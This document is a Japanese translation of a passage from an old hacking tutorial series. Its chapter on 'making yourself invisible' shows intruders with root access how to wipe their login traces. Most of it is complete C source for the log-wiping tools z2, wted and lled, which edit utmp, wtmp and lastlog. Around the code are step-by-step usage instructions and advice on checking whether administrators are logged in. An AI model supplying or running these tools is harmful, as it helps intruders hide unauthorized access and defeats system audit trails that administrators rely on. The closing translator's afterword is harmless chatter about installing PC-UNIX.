==================== お子様 UNIX 第6部 ======================= -------------------------- 第5章 存在を隠す Chapter V Making yourself invisible -------------------------- ハッキング全体のポイントは、出来る限り多くの情報を集めるために、アクセスを 続けることだ。馬鹿なことをすれば、一度でも、utmp, wtmp, xferlog などを消し 忘れたら、そのシステムへアクセスできなくなる。次の事を習慣にして、それぞれ のシステムを良く学ぶ。 システムの一部になる。一度に多くのシステムで学ぶには、多くの注意が必要だ。 習慣にすることを忘れてはいけない。ログイン、転送などで存在を消し、足跡を 消すことを習慣にする。一つでも失敗してはいけない。アカウントを失い、ある 種の責任を負わされるかもしれない。 ---------------------------- セクション5A ZAP2 Section 5A Zap2 (for wtmp/lastlog/utmp) ---------------------------- ログをクリーンにするいろいろなプログラムがある。しかし、ZAP2 がベストだ。 私は、z2 という名前でコンパイルした。z2 は root アクセスしてから走らせなけ ればならない。これは最初に走らせなければならない。(絶対に知っておく) 誰がいるか、finger @host.xxx をして root や管理者がいるかどうか、アイドル タイムを見る。 ログインする。そしてすぐに w をタイプする。アイドルタイムと誰がいるかを知る ために。しかしこの時、同時にネストしたディレクトリに隠した root アクセスでき るコマンドをタイプする。root アクセスと同時に ./z2 でログインした形跡を消す。 これで安全だ。w や who コマンドは utmp を調べる。もし ftp や他の方法なら、 別のプログラムを使う。これは次のセクションで説明する。wted と lled だ。 最初にこの Z2 を完了させる。システムのどこにそれぞれのファイルがあるかを調 べて、Z2.c を編集する。 ファイルの先頭にこの部分がある。 #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" 私がログインしたほとんどのシステムでは、次のようになっていた。 #define WTMP_NAME "/var/adm/wtmp" #define UTMP_NAME "/var/adm/utmp" #define LASTLOG_NAME "/var/adm/lastlog" しかし、ファイルがどこにあるかは自分で見て回ること。 /var/log も一般的だ。 ログの位置を加えて、このファイルをコンパイルする。これでログインの後に Z2 を使い、足跡を消す準備ができた。 これが、そのファイルだ。 z2.c --------------------------- cut here #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } --------------------------- cut here -------------------------- セクション5B スクリプト Section 5B Other scripts -------------------------- もう一つの方法を説明しよう。ログインした後で、z2 を使う。ftp を使う必要がある。 (決して ftp や telnet で外へ出ないことを思い出す) Ok, ftp でファイルを送る、 あるいはシステムの他のアカウントへログインしたら、wted を使う。wted は wtmp をエディットしてログインを消し去る。lled もまた、必要になるだろう (lastlog) ログに位置をセットしてコンパイルした後で ./wted とタイプすると, メニューが 現れる。 [8:25pm][/home/compile]wted Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely もし、ユーザー tsmith で ftp したら、wted -x -e tsmith とタイプする。 この時、プログラムは ユーザー tsmith のログインを消すかどうか、一つ づつ聞いてくる。 ログインを消した後で、確実に chmod 644 the wtmp.tm を行ない、ログディレクトリ にある wtmp に上書きする。 1. chmod 644 wtmp.tmp 2. cp wtmp.tmp /var/adm/wtmp これが wted のプログラムだ。 char file で指定する wtmp の位置を間違えないこと。 wted.c ---------------------- cut here #include <stdio.h> #include <utmp.h> #include <time.h> #include <fcntl.h> char *file="/var/adm/wtmp"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1],0); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct utmp utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ut_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct utmp *ptr; { char tmpstr[256]; printf("%s\t",ptr->ut_name); printf("%s\t",ptr->ut_line); strcpy(tmpstr,ctime(&(ptr->ut_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ut_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (host) if (strstr(utmp.ut_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct utmp));} if (name) { if (strcmp(utmp.ut_name,name)) {cnt++; write(fd,&utmp,sizeof(struct utmp));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct utmp));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct utmp)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct utmp)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct utmp utmp; if (fp=open(file,O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { if (utmp.ut_time) { cnt++; write(fd,&utmp,sizeof(struct utmp)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod wtmp.tmp and copy over the original %s\n",file); } usage() { printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } ---------------------- cut here /vat/adm/lastlog もまた、クリーンにしたいだろう。 このためには、lled.c を使う。これを lled の名前でコンパイルする。 これが、lled のメニューだ。 [4:04am][/home/paris/compile]lled Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST -h This help -f Use FILE instead of default -a Show all entries found -u Show all entries for USER -b Show NULL entries -e Erase USER completely -c Erase all connections containing HOST -z Show ZAP'd entries -x Attempt to remove ZAP'd entries completely 最初に -u で調べると良い。lastlog にある君のユーザー名がでない事もある。 しかし、君のホスト名は持っている。このようにする。 lled -e username -c machine.edit lastlog のホストエントリーを見るには、 lled -a chmod lastlog.tmp 644 を実行して、lastlog に上書きする。 lastlog のパスを間違えないこと ! Ok これが lled.c だ。 -------------------------- cut here #include <stdio.h> #include <time.h> #include <lastlog.h> #include <fcntl.h> char *file="/var/adm/lastlog"; main(argc,argv) int argc; char *argv[]; { int i; if (argc==1) usage(); for(i=1;i<argc;i++) { if(argv[i][0] == '-') { switch(argv[i][1]) { case 'b': printents(""); break; case 'z': printents("Z4p"); break; case 'e': erase(argv[i+1]); break; case 'c': erase(0,argv[i+1]); break; case 'f': file=argv[i+1]; break; case 'u': printents(argv[i+1]); break; case 'a': printents("*"); break; case 'x': remnull(argv[i+1]); break; default:usage(); } } } } printents(name) char *name; { struct lastlog utmp,*ptr; int fp=-1; ptr=&utmp; if (fp=open(file,O_RDONLY)) { while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || (!(strcmp("Z4p",name)) && (ptr->ll_time==0))) printinfo(ptr); } close(fp); } } printinfo(ptr) struct lastlog *ptr; { char tmpstr[256]; printf("%s\t",ptr->ll_line); strcpy(tmpstr,ctime(&(ptr->ll_time))); tmpstr[strlen(tmpstr)-1]='\0'; printf("%s\t",tmpstr); printf("%s\n",ptr->ll_host); } erase(name,host) char *name,*host; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; unsigned char c; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (host) if (strstr(utmp.ll_host,host)) tot++; else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} if (name) { if (strcmp(utmp.ll_line,name)) {cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { if (n>0) { n--;cnt++; write(fd,&utmp,sizeof(struct lastlog));} else { printinfo(&utmp); printf("Erase entry (y/n/f(astforward))? "); c='a'; while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); if (c=='f') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); printf("Fast forward how many entries? "); scanf("%d",&n);} if (c=='n') { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } if (c=='y') tot++; } } } } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } remnull(name) char *name; { int fp=-1,fd=-1,tot=0,cnt=0,n=0; struct lastlog utmp; if (fp=open(file,O_RDONLY)) { fd=open("lastlog.tmp",O_WRONLY|O_CREAT); while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) { if (utmp.ll_time) { cnt++; write(fd,&utmp,sizeof(struct lastlog)); } else tot++; } close(fp); close(fd); } printf("Entries stored: %d Entries removed: %d\n",cnt,tot); printf("Now chmod lastlog.tmp and copy over the original %s\n",file); } usage() { printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n"); printf("\t-h\tThis help\n"); printf("\t-f\tUse FILE instead of default\n"); printf("\t-a\tShow all entries found\n"); printf("\t-u\tShow all entries for USER\n"); printf("\t-b\tShow NULL entries\n"); printf("\t-e\tErase USER completely\n"); printf("\t-c\tErase all connections containing HOST\n"); printf("\t-z\tShow ZAP'd entries\n"); printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); } (この後のperl script は長すぎるので略) ========================================================= [訳者後記] う、さすがにそろそろ疲れてきた。結構量があるねぇ。 ....これを読んだ Win使いや Mac使いの皆さん。アナタも PC-UNIX をインス トールしませんか。なに、ハードディスクに 300Mほど空きを作れば、相当の事が できます。CPUパワー? きっと快適に Win95を楽しむためにペンティアムと 64M くらいのメモリーは搭載してるでしょ。ぜーんぜん問題なし。 httpd、ftpd、popd、smtp.... 好きなだけ稼動させても有り余ります。 (いかにビル・ゲイツが資源を食いつぶしているか..) 掲示板100個くらい作っても大丈夫だし、ダイヤルアップだって50くらいは.... 1回線10人ユーザーを集めるとしたら、500人のユーザーが PC一台で。安い料金で 会員を集めて.... はっ、いかん。これじゃどっかのタコプロバイダーだ。(笑)